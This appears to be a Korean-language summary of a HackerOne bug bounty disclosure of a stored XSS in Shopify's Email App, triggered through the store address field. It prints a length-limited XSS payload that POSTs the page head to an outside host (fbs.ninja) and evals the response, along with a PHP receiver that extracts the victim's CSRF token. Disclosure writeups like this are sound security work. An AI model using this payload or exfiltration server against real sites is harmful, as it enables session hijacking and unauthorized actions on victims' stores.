hackerone-shopify-2020-09-n-869831
XSS within Shopify Email App - Admin
Shopify 공식 앱인 Shopify Email App에 Stored XSS가 가능했다.
<<주소>>.myshopify.com/admin/settings/general 에서 일반적인 정보를 등록하는데, 이 중 상점 상세 주소(Apartment, suite, etc. (optional)) 필드에 XSS 페이로드를 적었다.
<img src="a:" onerror="var t=setTimeout;t(function(){var b=function(d){var x=new XMLHttpRequest;t(function(){eval(x.responseText)},2000);x.open('POST','https://fbs.ninja');x.send(d)};window.parent.postMessage(b(document.head.innerHTML),'*');},2000)"/>위와 같은 페이로드를 이용했다. 255 길이 제한을 우회해야 했다.
XSS를 이용해 POST 하는 서버 측에서는 다음과 같이 CSRF 토큰을 뜯었다.
<?
header("Access-Control-Allow-Origin: *");
$html = file_get_contents('php://input');
$doc = DOMDocument::loadHTML($html);
$xpath = new DOMXPath($doc);
$query = "//meta[@name='csrf-token']";
$entries = $xpath->query($query);
$csrf = "";
foreach ($entries as $entry) {
$csrf = $entry->getAttribute('content');
break;
}
$request = "alert('CSRF Token: " . $csrf . "');";
echo $request;
?>
## Impact
An attacker could at least trigger requests to the https://email.shopifyapps.com/graphql endpoint.이후 Shopify Email App을 설치하고, 주소를 포함하는 템플릿을 선택하면 XSS가 가능했다.
tags: bughunting, shopify, xss, stored-xss, wstg-inpv-02, severity none, web hacking